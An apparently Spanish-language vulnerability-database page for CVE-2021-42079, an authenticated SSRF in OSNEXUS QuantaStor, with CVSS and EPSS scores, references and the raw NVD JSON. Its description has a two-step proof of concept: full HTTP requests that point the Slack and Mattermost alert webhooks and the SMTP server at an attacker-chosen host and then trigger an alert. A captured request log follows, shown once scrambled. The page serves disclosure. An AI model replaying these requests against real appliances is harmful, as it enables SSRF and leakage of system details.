CVE-2021-42079
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1
Leer descripción completaMostrar menos
Host: <HOSTNAME> Accept-Encoding: gzip, deflate
Accept: */* Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert with this request
GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1
Host: <HOSTNAME> Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json
Content-Length: 1
### Python FLASK stuff ####
'endpoint': 'index',
'method': 'POST',
'cookies': ImmutableMultiDict([]),
### END Python FLASK stuff ####
"fallback": "[122] test / test.",
"color": "#aa2222",
"title": "[122] test",
"text": "test",
"title": "Alert Severity",
"value": "CRITICAL",
"short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)",
"short": true
"title": "System / Driver / Kernel Ver",
"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",
"short": false
"title": "System Startup",
"value": "Fri Aug 6 16-02-55 2021",
"short": true
"title": "SSID",
"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",
"short": true
}, ],
"footer": "QuantaStor Call-home Alert",
"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",
"ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF #####
'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790'
}, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' }
#### END FLASK REQUEST STUFF #####
Detalles técnicos trazas, registros y código del informe original
The post request received by <TARGET> looks like this:
{
'data': b'{
"attachments": [
{
"fields": [
{
}, {
}, {
}, {
'headers': {CVSS
- Versión: 3.1
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
- Puntuación base: 4.9
Probabilidad de explotación (EPSS)
- Probabilidad de explotación en los próximos 30 días: 0.69%
- Percentil entre todas las CVEs puntuadas: 51
- Fecha de la puntuación: 6/10/2026
EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).
Tecnologías afectadas (1)
CWE
- CWE-918
- CWE-918
Referencias
- https://cisrt.divd.nl/DIVD-2021-00020/
- https://csirt.divd.nl/CVE-2021-42079
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus
- https://csirt.divd.nl/CVE-2021-42079
- https://www.divd.nl/DIVD-2021-00020
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus
JSON original (NVD)
Mostrar
{
"id": "CVE-2021-42079",
"cveTags": [],
"metrics": {
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2021-42079",
"role": "CISA Coordinator",
"options": [
{
"exploitation": "none"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"version": "2.0.3",
"timestamp": "2024-11-04T20:06:08.530050Z"
}
}
],
"cvssMetricV31": [
{
"type": "Secondary",
"source": "csirt@divd.nl",
"cvssData": {
"scope": "CHANGED",
"version": "3.1",
"baseScore": 6.2,
"attackVector": "NETWORK",
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N",
"integrityImpact": "NONE",
"userInteraction": "REQUIRED",
"attackComplexity": "LOW",
"availabilityImpact": "NONE",
"privilegesRequired": "HIGH",
"confidentialityImpact": "HIGH"
},
"impactScore": 4,
"exploitabilityScore": 1.7
},
{
"type": "Primary",
"source": "nvd@nist.gov",
"cvssData": {
"scope": "UNCHANGED",
"version": "3.1",
"baseScore": 4.9,
"attackVector": "NETWORK",
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"integrityImpact": "NONE",
"userInteraction": "NONE",
"attackComplexity": "LOW",
"availabilityImpact": "NONE",
"privilegesRequired": "HIGH",
"confidentialityImpact": "HIGH"
},
"impactScore": 3.6,
"exploitabilityScore": 1.2
}
]
},
"affected": [
{
"source": "csirt@divd.nl",
"affectedData": [
{
"vendor": "OSNEXUS",
"product": "QuantaStor",
"versions": [
{
"status": "affected",
"version": "0",
"lessThan": "6.0.0.355",
"versionType": "semver"
}
],
"platforms": [
"Windows",
"Linux"
],
"collectionURL": "https://www.osnexus.com/downloads",
"defaultStatus": "unknown"
}
]
}
],
"published": "2023-07-10T16:15:47.467",
"references": [
{
"url": "https://cisrt.divd.nl/DIVD-2021-00020/",
"source": "csirt@divd.nl"
},
{
"url": "https://csirt.divd.nl/CVE-2021-42079",
"tags": [
"Third Party Advisory"
],
"source": "csirt@divd.nl"
},
{
"url": "https://www.osnexus.com/products/software-defined-storage",
"tags": [
"Product"
],
"source": "csirt@divd.nl"
},
{
"url": "https://www.wbsec.nl/osnexus",
"tags": [
"Third Party Advisory"
],
"source": "csirt@divd.nl"
},
{
"url": "https://csirt.divd.nl/CVE-2021-42079",
"tags": [
"Third Party Advisory"
],
"source": "af854a3a-2127-422b-91ae-364da2661108"
},
{
"url": "https://www.divd.nl/DIVD-2021-00020",
"source": "af854a3a-2127-422b-91ae-364da2661108"
},
{
"url": "https://www.osnexus.com/products/software-defined-storage",
"tags": [
"Product"
],
"source": "af854a3a-2127-422b-91ae-364da2661108"
},
{
"url": "https://www.wbsec.nl/osnexus",
"tags": [
"Third Party Advisory"
],
"source": "af854a3a-2127-422b-91ae-364da2661108"
}
],
"vulnStatus": "Modified",
"weaknesses": [
{
"type": "Secondary",
"source": "csirt@divd.nl",
"description": [
{
"lang": "en",
"value": "CWE-918"
}
]
},
{
"type": "Primary",
"source": "nvd@nist.gov",
"description": [
{
"lang": "en",
"value": "CWE-918"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>\nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by <TARGET> looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n \"attachments\": [ \n {\n\n \"fallback\": \"[122] test / test.\",\n\n \"color\": \"#aa2222\",\n\n \"title\": \"[122] test\",\n\n \"text\": \"test\",\n\n \"fields\": [ \n { \n\n \"title\": \"Alert Severity\",\n \n \"value\": \"CRITICAL\",\n \n \"short\": false \n }, { \n \"title\": \"Appliance\", \n \"value\": \"quantastor (https://<HOSTNAME>)\",\n \n \"short\": true \n\n }, { \n\n \"title\": \"System / Driver / Kernel Ver\", \n\n \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\", \n\n \"short\": false \n\n }, { \n\n \"title\": \"System Startup\", \n\n \"value\": \"Fri Aug 6 16-02-55 2021\", \n\n \"short\": true \n\n }, { \n\n \"title\": \"SSID\", \n\n \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\", \n\n \"short\": true \n\n },\n ],\n\n \"footer\": \"QuantaStor Call-home Alert\",\n\n \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n \"ts\": 1628461774\n }\n ], \n \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n 'Host': '<redacted>', \n 'User-Agent': 'curl/7.58.0', \n 'Accept': '*/*', \n 'Content-Type': 'application/json', \n 'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####"
}
],
"lastModified": "2026-06-17T04:09:16.550",
"configurations": [
{
"nodes": [
{
"negate": false,
"cpeMatch": [
{
"criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*",
"vulnerable": true,
"matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E",
"versionEndExcluding": "6.0.0.355"
}
],
"operator": "OR"
}
]
}
],
"sourceIdentifier": "csirt@divd.nl"
}